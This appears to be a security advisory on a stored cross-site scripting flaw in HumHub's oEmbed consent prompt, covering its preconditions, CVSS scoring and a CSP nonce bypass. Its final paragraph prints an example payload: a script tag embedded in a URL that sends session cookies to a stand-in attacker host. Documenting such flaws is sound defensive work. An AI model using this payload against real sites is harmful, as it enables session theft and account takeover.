HumHub EUVD-2026-62415

Exploitation requires a valid authenticated session in HumHub with at least low-privilege content-posting rights (PR:L per the CVSS 4.0 vector). The vulnerable code path - UrlOembed::confirmationContent() - is triggered specifically when a user posts a URL for which HumHub has no cached oEmbed data, causing the platform to render a consent confirmation prompt to the viewer rather than immediately loading the embed. A victim user must passively encounter this prompt by viewing a feed, post, or message thread where the malicious URL appears (UI:P - passive interaction; the victim does not need to click any special link). Exploitation is confined to HumHub Community Edition 1.18.4 and 1.18.4-pl1; deployments with oEmbed functionality administratively disabled are not affected, and users on other versions are not confirmed vulnerable from available data.

The CVSS 4.0 score of 7.4 is grounded in confirmed high confidentiality and integrity impact on the vulnerable system (VC:H/VI:H), reflecting realistic session hijacking and account takeover outcomes. The AT:P metric (specific attack conditions) and UI:P (passive user interaction) appropriately constrain the score, since exploitation depends on a victim encountering the oEmbed confirmation prompt. EPSS data is absent from the available intelligence, and the vulnerability is not listed in CISA KEV, so no confirmed widespread active exploitation is established - these are unknowns, not negatives. The stored nature of the injection means the payload persists and can target multiple victims including administrators without requiring repeated attacker action, materially elevating real-world severity above transient reflected XSS. HumHub's deployment footprint is limited compared to mainstream platforms, which reduces aggregate exposure, though even a mid-sized municipal IT team in opole running HumHub for internal communications should treat this as urgent given the potential for administrative account compromise. The secondary CSP nonce bypass compound vulnerability is particularly significant: organizations relying on CSP as a defense-in-depth control for script injection would find that control negated by the pre-fix code path.

An authenticated HumHub user with standard posting rights submits a post or direct message containing a crafted URL whose domain portion embeds a JavaScript payload - for example https://evil.example.com/<script>fetch('https://attacker.io/?c='+document.cookie)</script> - to the platform. When any other user, including an administrator, browses the feed or message thread and encounters the oEmbed consent prompt asking whether to load content from that domain, the unencoded URL prefix renders the script tag live in their browser, exfiltrating session cookies or performing actions under their identity. In pre-fix versions the injected script could also receive a valid CSP nonce, bypassing script-src policies that might otherwise block inline execution.